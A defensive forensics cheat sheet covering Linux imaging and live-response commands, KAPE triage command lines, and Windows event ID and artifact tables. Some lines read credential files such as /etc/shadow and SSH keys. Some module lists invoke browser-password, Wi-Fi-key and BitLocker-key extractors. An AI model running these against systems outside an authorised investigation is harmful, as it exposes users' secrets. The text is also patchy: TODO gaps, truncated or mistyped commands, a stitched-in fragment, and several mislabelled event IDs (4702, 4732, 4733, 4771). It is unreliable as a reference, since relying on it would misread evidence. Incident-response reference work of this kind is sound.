Analyst collect digital disk image of the Linux system to perform disk analysis offline. This activity is required to find any suspicious files and folders, recover files and to extract artifacts (triage) from the disk
# Verify which disk device that we want to perform the disk imaging
lsblk
fdisk -l
# Perform disk imaging into the external disk or shared folder
# Change "sdb" to your disk device letter
dd if=/dev/sdb of=/media/sf_tmp/linux_forensic.img
# OR
dcfldd if=/dev/sdb of=/media/sf_tmp/linux_forensic.img hash=sha256 hashwindow=1M hashlog=/media/sf_tmp/linux_forensic.hash
Analyst can perform disk analyst using:
Memory acquisition and memory analysis is quite bit rare in Linux forensics as most of the analyst rely on live response actions and commands. To perform memory acquisition, we going to use LIME.
# In the target machine, run this command to verify the kernel version
uname -r
# Using other machine with the same kernel version, git clone, and compile the source. It will generate .ko file.
git clone https://github.com/504ensicsLabs/LiME.git
cd LiME/src; sudo make
# Copy the .ko file into the target machine using SCP or Netcat
# In the target machine, run this command to generate memory dump
sudo insmod lime-$(uname -r).ko "path=/media/sf_tmp/mem.lime format=lime"
# Install volatility
sudo git clone https://github.com/volatilityfoundation/volatility3.git
cd volatility3/
apt install python3-pip
pip3 install -r requirements-minimal.txt
python3 vol.py -f /media/sf_tmp/mem.lime banners
# Build Linux profile
TODO
Collect important triage files for quick investigation
git clone https://github.com/WithSecureLabs/LinuxCatScale.git
cd LinuxCatScale
./Cat-Scale.sh
./Extract-Cat-Scale.sh
These commands oftenly used to review for anomalous behaviour and to verify compromised.
The first thing we are going to do is collect important information regarding the server that we will analyze.
# Display current date and time. Verify the timezone.
date
# System information
uname -a
# Network information
ifconfig
# Display distro version
cat /etc/*-release
# Date of installation of the OS
ls -ld /var/log/installer
Then, we proceed to review the logon activities of the compromised host.
w
lastlog
last -f /var/log/wtmp
last -f /var/log/btmp
grep -v cron /var/log/auth.log* | grep -v sudo | grep -i user
grep -v cron /var/log/auth.log* | grep -v sudo | grep -i Accepted
grep -v cron /var/log/auth.log* | grep -v sudo | grep -i failed
grep -v cron /var/log/auth.log* | grep -v sudo | grep i "login:session"
cat /var/log/secure
last -Faiwx
Review all running processes and its command could identify malicious process
htop
ps -aux
lsof -p <PID>
ls /proc/<PID>
cat /proc/<PID>
# Recover deleted process's binary
cd /proc/1234/
head -1 maps
dd if=mem bs=1 skip=ADDRESS count=1000 of=/tmp/recovered_proc_file
Investigate any malicious connection and unexpected IP address
netstat -antup
netstat -rn
route
cat /etc/hosts
cat /
Investigate the executed command by the attacker and user could give nice context about the incident
history
cat /home/$USER/.*_history
cat /home/$USER/.bash_history
cat /root/.bash_history
grep -v cron /var/log/auth.log* | grep -i -e "command=" -e "su:" -e "groupadd" -e "useradd" -e "passwd"
cat /root/.mysql_history
ls /home/$USER/.mozilla/firefox
ls /home/$USER/.config/google-chrome
cat /home/$USER/.viminfo
cat /home/$USER/.ftp_history
cat /home/$USER/.sftp_history
cat /home/$USER/.lesshst
cat /home/$USER/.gitconfig
ls /home/$USER/.git/logs
find / -type f -mtime -5 | less
find / -type f -mtime -5 | grep "php"
find / -size +10000k –print
ls -lai /usr/bin | sort -n
find /lib /usr/bin /usr/sbin -type f -newermt "$(date -d '10 days ago' +'%Y-%m-%d')"
find / -type f -mtime -1 -print
ls -laR --sort=time /bin
find / -user root -perm -04000 -print
ls /dev
cat /var/log/apt/history.log | grep "Commandline"
cat /var/lib/dpkg/status | grep -E "Package:|Status:"
cat /var/log/dpkg.log | grep installed
find /sbin/ -exec dpkg -S {} \; | grep "no path found"
ls /usr/sbin /usr/bin /bin /sbin
ls /var/cache/apt/archives
stat <filename>
file <filename>
strings <filename>
md5sum <filename> # submit to VT
cat /etc/passwd | grep bash
sort -nk3 -t: /etc/passwd
find / -nouser -print
cat /etc/shadow
cat /etc/groups
cat /etc/sudoers
cat /etc/sudoers.d/
cat /home/$USER/.ssh/authorized_keys
cat /home/$USER/.ssh/known_hosts
cat /home/$USER/.recently-used.xbel
find /var/www/html -type f -name "*.php" -printf "%T@ %f\n" | sort -n | awk '{print strftime("%Y-%m-%d %H:%M:%S", $1), $2}'
tail -f /etc/apache2/*/*
tail -f /etc/nginx/*/*
cat /lib/systemd/system/cron.service
crontab –u <user> -l
cat /etc/crontab
tail -f /etc/cron.*/*
ls /var/spool/cron/crontabs/*
cat /var/spool/cron/atjobs
for service in $(systemctl list-unit-files --type=service | grep enabled | awk '{print $1}'); do echo "Service: $service"; systemctl cat $service | grep ExecStart= | sed 's/^/Command: /'; echo "--------------------------------------------------"; done
ls /etc/systemd/system/
ls /lib/systemd/system/
ls /lib/systemd/system-generators/*
more -f /etc/init.d/*
ls /lib/systemd/user/*
ls /etc/systemd/user/*
ls /etc/systemd/user-generators/*
ls /usr/local/lib/systemd/user-generators/*
ls /usr/lib/systemd/user-generators/*
cat /lib/systemd/system/ssh.service
cat /etc/ssh/sshd_config
ls ~/.ssh/rc
ls /etc/ssh/sshrc
cat /etc/bash.bashrc
cat /home/$USER/.bashrc
cat /home/$USER/.bash_profile
cat /etc/profile
cat /etc/profile.d/*
cat /home/$USER/.profile
cat /home/$USER/.bash_login
cat /home/$USER/.bash_logout
cat /etc/.bash_logout
/etc/rc*
find /lib /usr/bin /usr/sbin -type f -newermt "$(date -d '10 days ago' +'%Y-%m-%d')"
ls /usr/lib/python3*
cat /etc/pam.conf
cat /etc/pam.d
cat /etc/update-motd.d/*
uptime
free
df
# Download Thor Lite and the license from Nextron website
cd thorlite/
./thor-lite-util update
./thor-lite-linux-64
Tool such as SIEM, or CA scanner could speed up analysis of the log analysis
# System log
/var/log/syslog
/var/log/kern.log
/var/log/dmesg
# Web
# Analyze the web based on attack, CVE, exploit context
/var/logs/apache2/access.log* # Try using goaccess
/var/log/httpd/
# SQL
/var/log/mysqld.log
/var/log/mysql.log
# Cron
/var/log/cron
# Services
/var/log/daemon.log
# Authentication
/var/log/auth.log
/var/log/secure
#Mail
/var/log/mail*
# FTP
/var/log/xferlog
TODO
TODO
apt install chkrootkit && chkrootkit
TODO
]]>If you ask me the details on the acquisition and analysis part, here it is:
Tools | Description |
---|---|
FTK Imager | Disk Imaging |
Magnet RAM Capturer | Generate memory dump |
KAPE | Triage only selected important artifacts instead of the whole disk image |
Inquisitor / FastIR | Live analysis triage |
Mandiant Redline | Collect live and file’s data and produce analysis |
External Hard disk | To store the artifact acquisition |
Velociraptor’s agent and server | Remote forensics framework |
EDD | Check disk encryption |
Tools | Description |
---|---|
Arsenal Image Mounter | Mounting image |
Autopsy / FTK Imager | Disk forensics |
KAPE | Triage artifact and parse artifact |
Eric Zimmerman tools | Artifact parser and viewer |
Regripper | Registry parser |
Volatility Workbench / MemProcFS / MemProcFS-Analyzer | Memory analysis tools |
Event log explorer | Event log viewer |
Reg_hunter | Hunt for malicious registry in live forensics |
Other open/close source tools | - |
Basic command
# Target
.\kape.exe --tsource [DRIVE LETTER] --tdest [DESTINATION INCLUDE FOLDER NAME] --module [MODULE NAME] --gui
# Module
.\kape.exe --msource [DRIVE LETTER] --mdest [DESTINATION INCLUDE FOLDER NAME] --module [MODULE NAME] --gui
.\kape.exe --tsource E: --tdest D:\KAPE_cases\ --target KapeTriage,MessagingClients,RemoteAdmin,ServerTriage,WebBrowsers,WebServers,WSL,MemoryFiles --gui
.\kape.exe --msource C:\ --mdest D:\KAPE_cases\%m --module MagnetForensics_RAMCapture --gui
.\kape.exe --msource E:\ --mdest D:\KAPE_cases\%m --module PowerShell_Get-InjectedThread,PowerShell_Get-NetworkConnection,PowerShell_Netscan,PowerShell_Signed,SIDR_WindowsIndexSearchParser,WIFIPassView,MagnetForensics_EDD,Nirsoft_BluetoothView,Nirsoft_LastActivityView,Nirsoft_OpenedFilesView,NirSoft_USBDeview,NirSoft_VideoCacheView,NirSoft_WebBrowserPassView,Nirsoft_WhatInStartup,Nirsoft_WifiHistoryView,Nirsoft_WirelessKeyView,SysInternals_Autoruns,SysInternals_Handle,SysInternals_PsFile,SysInternals_PsInfo,SysInternals_PsList,SysInternals_PsLoggedOn,SysInternals_PsService,SysInternals_PsTree,SysInternals_Tcpvcon,Powrshell_LiveResponse_SystemInfo,PowerShell_Arp_Cache_Extraction,PowerShell_Bitlocker_Key_Extraction,PowerShell_Bitlocker_Status,PowerShell_Defender_Exclusions,PowerShell_DLL_List,PowerShell_Dns_Cache,PowerShell_Local_Group_List,PowerShell_LocalAdmin,PowerShell_NamedPipes,PowerShell_NetUserAdministrators,PowerShell_Network_Configuration,PowerShell_Network_Connections_Status,PowerShell_Network_Share,PowerShell_Process_Cmdline,PowerShell_ProcessList_CimInstance,PowerShell_ProcessList_WMI,PowerShell_Services_List,PowerShell_SMBMapping,PowerShell_SMBOpenFile,PowerShell_SMBSession,PowerShell_Startup_Commands,PowerShell_User_List,PowerShell_WMIRepositoryAuditing,Windows_ARPCache,Windows_DNSCache,Windows_GpResult,Windows_IPConfig,Windows_MsInfo,Windows_nbtstat_NetBIOSCache,Windows_nbtstat_NetBIOSSessions,Windows_Net_Accounts,Windows_Net_File,Windows_Net_LocalGroup,Windows_Net_Session,Windows_Net_Share,Windows_Net_Start,Windows_Net_Use,Windows_Net_User,Windows_netsh_portproxy,Windows_NetStat,Windows_qwinsta_RDPSessions,Windows_RoutingTable,Windows_schtasks,Windows_SystemInfo,Reghunter,hasherezade_HollowsHunter --gui
.\kape.exe --msource E:\ --mdest D:\KAPE_cases\%m --module Thor-Lite_Upgrade,Thor-Lite_Scan --gui
.\kape.exe --msource E:\ --mdest D:\KAPE_cases\%m --module Loki_LiveResponse --gui
.\kape.exe --msource E:\ --mdest D:\KAPE_cases\%m --module hasherezade_HollowsHunter --gui
.\kape.exe --msource E:\ --mdest D:\KAPE_cases\%m --module MagnetForensics_RAMCapture --gui
Warning: Super slow!
.\kape.exe --msource E:\ --mdest D:\KAPE_cases\ --module Loki_Scan,DensityScout,BackstageParser,BitsParser,CCMRUAFinder_RecentlyUsedApps,Chainsaw,DeepblueCLI,DHParser,EvtxHussar,hasherezade_HollowsHunter,INDXRipper,LevelDBDumper,OneDriveExplorer,PowerShell_Get-ChainsawSigmaRules,TeamsParser,ThumbCacheViewer,WMI-Parser,Zircolite_Scan,Zircolite_Update,LogParser_ApacheAccessLogs,LogParser_DetailedNetworkShareAccess,LogParser_LogonLogoffEvents,LogParser_RDPUsageEvents,LogParser_SMBServerAnonymousLogons,Nirsoft_AlternateStreamView,NirSoft_BrowsingHistoryView,NirSoft_FullEventLogView_AllEventLogs,NirSoft_FullEventLogView_Application,NirSoft_FullEventLogView_PowerShell-Operational,NirSoft_FullEventLogView_PrintService-Operational,NirSoft_FullEventLogView_ScheduledTasks,NirSoft_FullEventLogView_Security,NirSoft_FullEventLogView_System,NirSoft_TurnedOnTimesView,NirSoft_WebBrowserDownloads,Nirsoft_WinLogonView,SysInternals_SigCheck,TZWorks_CAFAE_Registry_System,Events-Ripper,Hayabusa,LogParser,MFTECmd,NTFSLogTracker,RECmd_AllBatchFiles,Reghunter,RegRipper,AmcacheParser,AppCompatCacheParser,EvtxECmd,EvtxECmd_RDP,iisGeoLocate,JLECmd,LECmd,PECmd,RBCmd,RecentFileCacheParser,SBECmd,SQLECmd,SQLECmd_Hunt,SrumECmd,SumECmd,WxTCmd,Sync_EvtxECmd,Sync_KAPE,Sync_RECmd,Sync_SQLECmd,Windows_ManageBDE_BitLockerKeys,Windows_ManageBDE_BitLockerStatus --gui
.\kape.exe --msource E:\ --mdest D:\KAPE_cases\ --module !!ToolSync,PowerShell_Get-ChainsawSigmaRule,Chainsaw,DeepblueCLI,EvtxHussar,Zircolite_Update,Zircolite_Scan,Events-Ripper,hayabusa_EventStatistics,hayabusa_OfflineEventLogs,hayabusa_OfflineLogonSummary,hayabusa_UpdateRules,EvtxECmd,EvtxECmd_RDP,LogParser,iisGeoLocate
.\kape.exe --msource E:\ --mdest D:\KAPE_cases\ --module CCMRUAFinder_RecentlyUsedApps,AmcacheParser,AppCompatCacheParser,PECmd,RecentFileCacheParser --gui
.\kape.exe --msource E:\ --mdest D:\KAPE_cases\ --module BackstageParser,OneDriveExplorer,ThumbCacheViewer,JLECmd,LECmd,RBCmd,SBECmd,WxTCmd --gui
.\kape.exe --msource E:\ --mdest D:\KAPE_cases\ --module !!ToolSync,INDXRipper,MFTECmd,NTFSLogTracker,RegRipper,RECmd_AllBatchFiles --gui
.\kape.exe --msource E:\ --mdest D:\KAPE_cases\ --module SRUMDump,WMI-Parser,RECmd_AllBatchFiles,SrumECmd,SumECmd --gui
.\kape.exe --msource E:\ --mdest D:\KAPE_cases\ --module Loki_Scan --gui
.\kape.exe --msource E:\ --mdest D:\KAPE_cases\ --module DensityScout --gui
First, create a spreadsheet that will be the main documentation of your findings especially for Timeline. Include few relavant aspects in the spreadsheet such as:
python3 vol.py -f <memdump> <plugin name>
memprocfs.exe -device D:\mem.raw -forensic 1
.\MemProcFS-Analyzer.ps1
C:\Windows\System32\winevt\Logs
Log sources | Context |
---|---|
Security.evtx | Security-related events |
System.evtx | Tracks system component events |
Application.evtx | Logs application-specific events |
Microsoft-Windows-Sysmon/Operational.evtx | Enhanced process, network, and file monitoring |
Microsoft-Windows-PowerShell/4Operational.evtx | Records PowerShell activity |
Microsoft-Windows-Windows Defender/Operational.evtx | Logs Windows Defender events |
Microsoft-Windows-WMI-Activity/4Operational.evtx | Logs WMI events |
Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx | Logs RDP session events |
Microsoft-Windows-TerminalServices-LocalSessionManager/Operational.evtx | Logs RDP session events |
Microsoft-Windows-TaskScheduler/Operational.evtx | Logs Task Scheduler events |
Microsoft-Windows-DNS-Server%4Operational.evtx | Active Directory Server Logs |
Directory Service.evtx | Active Directory Server Logs |
File Replication Service.evtx | Active Directory Server Logs |
%SystemDrive%\inetpub\logs\LogFiles | IIS log |
%SystemRoot%\System32\LogFiles\HTTPERR | IIS log |
%ProgramFiles%\Microsoft\Exchange Server\V15\Logging | Exchange log |
Panther*.log | Windows setup details |
RPC Client Access*.log | Exchange Server, if applicable |
Third party antivirus log | AV logs |
Tools | Commands |
---|---|
Hayabusa | hayabusa.exe update-rules and hayabusa.exe csv-timeline -d ..\Logs -p verbose -o results.csv |
DeepBlueCLI | .\DeepBlue.ps1 -log security |
Chainsaw | chainsaw.exe hunt evtx_logs/ -s sigma/ --mapping mappings/sigma-event-logs-all.yml -r rules/ --csv --output results |
Zircolite | zircolite_win10.exe --evtx ../Logs |
APT-Hunter | APT-Hunter.exe -p ..\Logs -o Foldername -allreport |
EVTXHussar | EvtxHussar.exe C:\evtx_compromised_machine -o C:\evtxhussar_results |
Rhaegal | rhaegal.exe -lp ..\Logs -rp rules -n 100 -o output.csv |
IDs | Event log | Context |
---|---|---|
4624 | Security | Successful Login |
4625 | Security | Failed Login |
4634/4647 | Security | User Initiated Logoff/An Account was Logged Off |
4648 | Security | A Logon was Attempted Using Explicit Credentials |
4662 | Security | An Operation was Performed on an Object |
4663 | Security | An Attempt was Made to Access an Object |
4672 | Security | Special Logon |
4688 | Security | Process Creation |
4689 | Security | Process Termination |
4697 | Security | Service Installed |
4698/4702/4700 | Security | Scheduled Task Created or Updated |
4699 | Security | Scheduled Task Deleted |
4701 | Security | Scheduled Task Enabled |
4702 | Security | Service Removed |
4720 | Security | A User Account was Created |
4722 | Security | A User Account was Enabled |
4723 | Security | An Attempt was Made to Change an Account’s Password |
4724 | Security | An Attempt was Made to Reset an Account’s Password |
4725 | Security | A User Account was Disabled |
4726 | Security | A User Account was Deleted |
4728 | Security | A Member was Added to a Security-Enabled Global Group |
4729 | Security | A Member was Removed from a Security-Enabled Global Group |
4732 | Security | A Security-Enabled Local Group was Created |
4733 | Security | A Security-Enabled Local Group was Changed |
4734 | Security | A Security-Enabled Local Group was Deleted |
4741 | Security | A Computer Account was Created |
4742 | Security | A Computer Account was Changed |
4768 | Security (DC) | Kerberos TGT request |
4769 | Security (DC) | Kerberos Service Ticket request |
4771 | Security | Locked Out Account |
4776 | Security | NTLM authentication |
4778 | Security | Session Reconnected |
4779 | Security | Session Disconnected by User |
4794 | Security | An Attempt was Made to Set the Directory Services Restore Mode Administrator Password |
5136 | Security | Directory Service Changes |
5140 | Security | A Network Share Object was Accessed |
5141 | Security | A Directory Service Object was Deleted |
5145 | Security | Network Share Object was Checked |
5376 | Security | Credential Manager Credentials Submitted |
5377 | Security | Credential Manager Credentials Auto-Logon |
1102 | Security | Event Log Cleared |
1100 | Security | Event Log Service Shutdown |
Logon Type | Explanation |
---|---|
2 | Logon via console |
3 | Network Logon. A user or computer logged on to this computer from the network |
4 | Batch Logon (Task scheduler and AT) |
5 | Windows Service logon |
7 | Credentials used to unlock screen |
8 | Network logon sending credentials (cleartext) |
9 | Different credentials used than logon user |
10 | Remote Interactive logon (RDP) |
11 | Cached credentials used to logon |
12 | Cached remote interactive (RDP) |
13 | Cached Unlock (Similar to logon type 7) |
IDs | Event log | Context |
---|---|---|
7045 | System | Service installed |
7034 | System | The service terminated unexpectedly |
7035 | System | Service Control Manager |
7036 | System | Service State Change |
7040 | System | Service was changed from disabled to auto start. |
7001 | System | Service Start Failed |
1001 | System | BSOD |
6005 | System | Start-up time of the machine |
6006 | System | Shutdown time of the machine |
104 | System | Log cleared |
59 | MicrosoftWindows Bits Client/operational | Bits Jobs |
2004 | Microsoft-Windows-Windows Firewall with Advanced Security | Rule has been added to the Window Firewall exception list |
2006 | Microsoft-Windows-Windows Firewall with Advanced Security | Deleted firewall rule |
1116 | Microsoft Windows Windows Defender/Operational | Defender Antivirus has detected malware |
1117 | Microsoft Windows Windows Defender/Operational | Action taken |
1006 | Microsoft Windows Windows Defender/Operational | Scan result |
4103 | Microsoft Windows PowerShell/Operational | Module logging |
4104 | Microsoft Windows PowerShell/Operational | Script Block Logging |
4105 | Microsoft Windows PowerShell/Operational | Transcription Logging |
4688 | Microsoft Windows PowerShell/Operational | Process Creation (including PowerShell processes) |
400 | Windows PowerShell | Start of a PowerShell activity, whether local or remote. |
403 | Windows PowerShell | Completion of a PowerShell activity |
800 | Windows PowerShell | Pipeline execution |
1000 | Application | Application Error/crash |
1001 | Application | Application Error reporting |
1002 | Application | Application Hang |
1024 | Application | Software Installation |
1040 | Application | User Initiated Software Installation |
1033 | Application | Software installed |
1034 | Application | Windows Installer removed the product |
11707 | Application | Installation operation completed successfully |
11708 | Application | Installation failed |
11724 | Application | Installation completed successfully |
1 | Microsoft-Windows-Sysmon/Operational | Process Creation |
2 | Microsoft-Windows-Sysmon/Operational | A process changed a file creation time |
3 | Microsoft-Windows-Sysmon/Operational | Network connection detected |
6 | Microsoft-Windows-Sysmon/Operational | Driver Loaded |
7 | Microsoft-Windows-Sysmon/Operational | Image Loaded |
8 | Microsoft-Windows-Sysmon/Operational | CreateRemoteThread |
10 | Microsoft-Windows-Sysmon/Operational | ProcessAccess |
11 | Microsoft-Windows-Sysmon/Operational | FileCreate |
12 | Microsoft-Windows-Sysmon/Operational | RegistryEvent (Object create and delete) |
1149 | Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational | RDP User authentication succeeded |
21 | Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational | RDP Session logon succeeded |
24 | Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational | RDP Session has been disconnected |
25 | Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational | RDP Session reconnection succeeded |
131 | RDPCoreTS | RDP connection is first established |
106 | Task Scheduler | New scheduled task is created |
140 | Task Scheduler | New scheduled task is created |
141 | Task Scheduler | User deleted Task Scheduler task |
200 | Task Scheduler | Task executed |
201 | Task Scheduler | Task scheduler successfully completed the task |
5857 | WMI-Activity Operational | WMI activity is detected |
5858 | WMI-Activity Operational | WMI error |
5859 | WMI-Activity Operational | Subscription-based activity |
5860 | WMI-Activity Operational | Detailed subscription-based activity |
5861 | WMI-Activity Operational | Permanent subscription activity |
Event ID KB: https://system32.eventsentry.com/ and https://www.myeventlog.com/search/browse
MFT Attributes:
Filesystem | Location | Tools or Commands |
---|---|---|
MFT | C:\ |
MFTECmd.exe -f "C:\Temp\SomeMFT" --csv "c:\temp\out" --csvf MyOutputFile.csv |
UsnJrnl | C:\$Extend |
MFTECmd.exe -f "C:\Temp\SomeJ" --csv "c:\temp\out" --csvf MyOutputFile.csv |
Other useful tools:
Follow Windows Time Rules below:
Credit: SANS Windows Forensic Analysis Poster (digital-forensics.sans.org)
Filesystem | Location | Tools or Commands |
---|---|---|
Operating System Version | SOFTWARE\Microsoft\Windows NT\CurrentVersion |
Registry Explorer |
System Boot & Autostart Programs | Run registries | Registry Explorer |
Computer Name | SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName |
Registry Explorer |
System Last Shutdown Time | SYSTEM\CurrentControlSet\Control\Windows |
Registry Explorer |
Cloud Account Details | SAM\Domains\Account\Users\<RID>\InternetUserName |
Registry Explorer |
User Accounts | SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList |
Registry Explorer |
Last Login and Password Change | SAM\Domains\Account\Users |
Registry Explorer |
Filesystem | Location | Tools or Commands |
---|---|---|
Shimcache | SYSTEM\CurrentControlSet\Control\SessionManager\AppCompatCache |
RegRipper |
Amcache.hve | C:\Windows\AppCompat\Programs\Amcache.hve |
Registry Explorer |
UserAssist | NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\ |
Registry Explorer |
Win10 Timeline | C:\%USERPROFILE%\AppData\Local\ConnectedDevicesPlatform\L.Administrator\ActivitiesCache.db |
WxTCmd.exe -f "ActivitiesCache.db" --csv D:\Hands-On |
SRUM | C:\Windows\System32\sru\SRUDB.dat |
srum-dump |
BAM / DAM | SYSTEM\ControlSet001\Services\bam\State\UserSettings\ |
Registry Explorer |
Prefetch, MFT, USNJ | C:\Windows\prefetch |
PECmd.exe -d D:\Windows\Prefetch, MFT, USNJ--csv "D:\Hands-On" --csvf prefetch.csv or WinPrefetch, MFT, USNJ |
Task Bar Feature Usage | NTUSER\Software\Microsoft\Windows\CurrentVersion\Explorer\FeatureUsage |
Registry Explorer |
Jumplist | C:\%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations |
Jumplist Explorer |
Last Visited MRU | NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\LastVisitedPidlMRU |
RegRipper |
CapabilityAccessManager | NTUSER\Software\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore |
Registry Explorer |
Commands Executed in the Run Dialog | NTUSER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU |
Registry Explorer |
Services | System\CurrentControlSet\Services |
Registry Explorer |
Filesystem | Location | Tools or Commands |
---|---|---|
Shellbag | NTUSER.dat\Software\Microsoft\Windows\Shell\Bags |
Shellbags Explorer |
Open/Save MRU | NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\OpenSavePIDlMRU |
Registry Explorer |
Shortcut (LNK) Files | %USERPROFILE%\AppData\Roaming\Microsoft\Windows|Office\Recent\ |
Autopsy |
Jumplist | C:\%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations |
Jumplist Explorer |
Recent Files | NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs |
Registry Explorer |
Office Recent Files | NTUSER.DAT\Software\Microsoft\Office\<Version>\<AppName> |
Registry Explorer |
Office Trust Records | NTUSER\Software\Microsoft\Offi ce\<Version>\<AppName>\Security\Trusted Documents\TrustRecords |
Registry Explorer |
MS Word Reading Locations | NTUSER\Software\Microsoft\Offi ce\<Version>\Word\Reading Locations |
Registry Explorer |
Office OAlerts | OAlerts.evtx | Event log explorer |
Last Visited MRU | NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\LastVisitedPidlMRU |
Registry Explorer |
Internet Explorer file:/// | %USERPROFILE%\AppData\Local\Microsoft\Windows\WebCache\WebCacheV*.dat |
Text Editor |
Filesystem | Location | Tools or Commands |
---|---|---|
Recycle Bin | C:\$Recycle.Bin |
Recbin |
Thumbcache | %USERPROFILE%\AppData\Local\Microsoft\Windows\Explorer |
Thumbcache Viewer |
User Typed Paths | NTUSER\Software\Microsoft\Windows\CurrentVersion\Explorer\TypedPaths |
Registry Explorer |
Search – WordWheelQuery | NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\WordWheelQuery |
Registry Explorer |
Internet Explorer file:/// | %USERPROFILE%\AppData\Local\Microsoft\Windows\WebCache\WebCacheV*.dat |
Text Editor |
Windows Search Database | C:\ProgramData\Microsoft\Search\Data\Applications\Windows\Windows.edb |
LostPassword’s Search Index Examiner |
Filesystem | Location | Tools or Commands |
---|---|---|
Browser activity | C:\Users\%user%\AppData\Local\\Roaming\BrowserName |
DBBrowser |
Filesystem | Location | Tools or Commands |
---|---|---|
Network History | SOFTWARE\Microsoft\Windows NT\CurrentVersion\Network* |
Registry Explorer |
Timezone | SYSTEM\CurrentControlSet\Control\TimeZoneInformation |
Registry Explorer |
WLAN Event Log | Microsoft-Windows-WLAN-AutoConfig Operational.evtx |
Event log viewer |
Network Interfaces | SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces |
Registry Explorer |
SRUM | C:\Windows\System32\sru\SRUDB.dat |
srum-dump |
Filesystem | Location | Tools or Commands |
---|---|---|
USB Device Identification | SYSTEM\CurrentControlSet\Enum\* |
Registry Explorer |
Drive Letter and Volume Name | SOFTWARE\Microsoft\Windows Portable Devices\Devices and SYSTEM\MountedDevices |
Registry Explorer |
User Information | SYSTEM\MountedDevices and NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2 |
Registry Explorer |
Connection Timestamps | SYSTEM\CurrentControlSet\Enum\USBSTOR\Disk&Ven_&Prod_\USBSerial |
Registry Explorer |
Volume Serial Number (VSN) | SOFTWARE\Microsoft\WindowsNT\CurrentVersion\EMDMgmt |
Registry Explorer |
Shortcut (LNK) Files | %USERPROFILE%\AppData\Roaming\Microsoft\Windows\\Office\Recent\ |
Autopsy |
Event Logs | System.evtx |
Event log viewer |
Filesystem | Location |
---|---|
Avast | C:\ProgramData\Avast Software\ |
AVG | C:\ProgramData\AVG\Antivirus\ |
Avira | C:\ProgramData\Avira\Antivirus\LOGFILES\ |
Bitdefender | C:\Program Files*\Bitdefender*\ |
ESET | C:\ProgramData\ESET\ESET NOD32 Antivirus\Logs\ |
F-Secure | C:\ProgramData\F-Secure\Log\ or C:\Users\%user%\AppData\Local\F-Secure\Log\ |
McAfee | C:\ProgramData\McAfee\* |
Sophos | C:\ProgramData\Sophos\Sophos *\Logs\ |
Trend Micro | C:\ProgramData\Trend Micro\ or C:\Program Files*\Trend Micro\ |
Symantec | C:\ProgramData\Symantec\ or C:\Users\%user%\AppData\Local\Symantec\ |
WinDefender | C:\ProgramData\Microsoft\Windows Defender\* or C:\ProgramData\Microsoft\Microsoft AntiMalware\Support\ or MpCmdRun.log |
Another good reference: https://ruler-project.github.io/ruler-project/RULER/av/
Filesystem | Location | Tools or Commands |
---|---|---|
Task Scheduler | SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks or \Windows\Tasks or Windows\System32\Tasks |
Registry Explorer |
Startup folder | C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup |
Autopsy |
Startup folder user | C:\%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup |
Autopsy |
Shadow copy | - | Shadow Explorer |
hiberfil.sys | C:\ |
Hibernation Recon |
pagefile.sys | C:\ |
strings |
Unalloc file | - | Autopsy |
Anydesk | C:\Users\%user%\AppData\Roaming\AnyDesk\* or C:\ProgramData\AnyDesk\* |
Autopsy |
WMI persistence | C:\WINDOWS\system32\wbem\Repository\OBJECTS.DATA |
WMI_Forensics |
WMI persistence | C:\WINDOWS\system32\wbem\Repository\FS\OBJECTS.DATA |
WMI_Forensics |
RDP Cache | C:\%USERPROFILE%\AppData/Local/Microsoft/Terminal Server Client/Cache |
BMC-Tools |
cd folder_containing_all_registries
for /r %i in (*) do (C:\RegRipper3.0\rip.exe -r %i -a > %i.txt)
reg_hunter --all -z --outfile reg_hunter_result.txt
Detail information refer: https://jpcertcc.github.io/ToolAnalysisResultSheet/#
Typically lateral movement will involve with (depend on the attacker TTP):
Below list shows the sum up of the information in the above reference but focusing only on standard setting and configuration of Windows.
Microsoft-Windows-PowerShell/Operational
C:\Users\[User Name]\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
Commonly for transfering their tools and malware. Or can be abuse for exfiltrate data.
Event Log | Event ID | Computer |
---|---|---|
Security | 4648 | Source |
SMBClient-Security | 31001 | Source |
Security | 4624, 4672, 4776, 4768, 4769, 5140, 5145 | Destination |
Filesystem | Location | Computer |
---|---|---|
Prefetch, MFT, USNJ | C:\Windows\Prefetch\net.EXE-RANDOM.pf and C:\Windows\Prefetch\net1.EXE-RANDOM.pf |
Source |
Jumplist | C:\Users\USERNAME\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\ |
Source |
USNJ or MFT | Created file | Source |
Registry | Findings | Computer |
---|---|---|
User Profile (NTUSER.DAT) | NTUSER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2 |
Source |
USRCLASS.dat | Shellbags (Remote folders accessed) | Source |
Shimcache (SYSTEM) | net.exe and net1.exe |
Source |
BAM/DAM (SYSTEM) | Last time executed net.exe and net1.exe |
Source |
Amcache.hve | First Execution time of net.exe and net1.exe |
Source |
Attacker might utilizes the remote login feature such as RDP, VNC, external software or SSH to login remotely
Event Log | Event ID | Computer |
---|---|---|
Security | 4648 | Source |
RDPClient Operational | 1024, 1025, 1026, 1102 | Source |
